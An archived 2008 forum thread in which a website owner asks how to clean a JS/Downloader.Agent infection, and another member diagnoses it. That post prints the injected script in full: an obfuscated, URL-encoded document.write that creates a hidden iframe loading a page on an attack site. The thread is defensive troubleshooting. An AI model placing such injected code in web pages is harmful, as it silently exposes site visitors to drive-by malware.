Invision Power Services

Invision Power Services > Community Forums > Community Technical Chat

JameST

Aug 14 2008, 08:06 AM

I have a virus that is downloading its self automatically on to users PC's the name is (JS/Downloader.Agent) i can easily remove this from my PC with the virus scanner i have.

My question is
My service provider have told me to
"About your query, if you site has a virus what we can suggest is
download all your files on your local computer
and clean it up by running an anti virus software and once detected
remove the said files from upload the webfiles
back to your webspace, there is no other source of virus on your
webspace other than from the files that was uploaded
on your server."

Now i use FileZilla as my FTP so should i download everything run the virus scanner once finished upload all the files again?

thanks for your help inadvance

James

Stephen

Aug 14 2008, 09:09 AM

what is the address of the page on your site that contains the virus?

JameST

Aug 14 2008, 09:18 AM

http://s205024498.websitehome.co.uk/pc

Stephen

Aug 14 2008, 09:49 AM

Take a look at the bottom of that page, you will see the following JS

CODE

this results in the following being generated

CODE

if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%37%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6f%70%61%6e%61%2e%63%6e%2f%6f%70%61%2e%68%74%6d%6c%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%30%35%30%34%29%2b%27%34%31%65%38%35%36%33%36%65%33%64%62%27%20%77%69%64%74%68%3d%31%36%34%20%68%65%69%67%68%74%3d%31%38%36%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;

which then results in the following being generated

CODE

This loads the page http://opana.cn/opa.html?SOME_RANDOM_NUMBERS41e85636e3db

That seems to be it to me (although that URL isn't loading, I suspect it might be checking referrer (which is why the 41e85636e3db is constant) and not responding if it doesn't match.

Indeed firefox says "This web site at opana.cn has been reported as an attack site and has been blocked based on your security preferences." when you attempt to load the page and google says "This site may harm your computer."

So you just need to edit that file and remove the JS

JameST

Aug 14 2008, 10:23 AM

Thanks for your help Stephen it is greatly appreciated. Unfortunately this has flown rigfht my head.

what file do i need to amend and what do i change it to...

ricky101

Oct 16 2008, 03:00 PM

well if anyone can explain what exactly is this js downloader? I see this in many websites which i visit, kaspersky jst blocks it - would it harm if i turn off the anti virus when visiting the site?

X3773

Oct 16 2008, 09:22 PM

Well you can download all the files and run a virus scan and see if it founds a virus or more. If it does find one just delete it off your web site. No need to upload all the files back just delete the ones that have a virus.

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.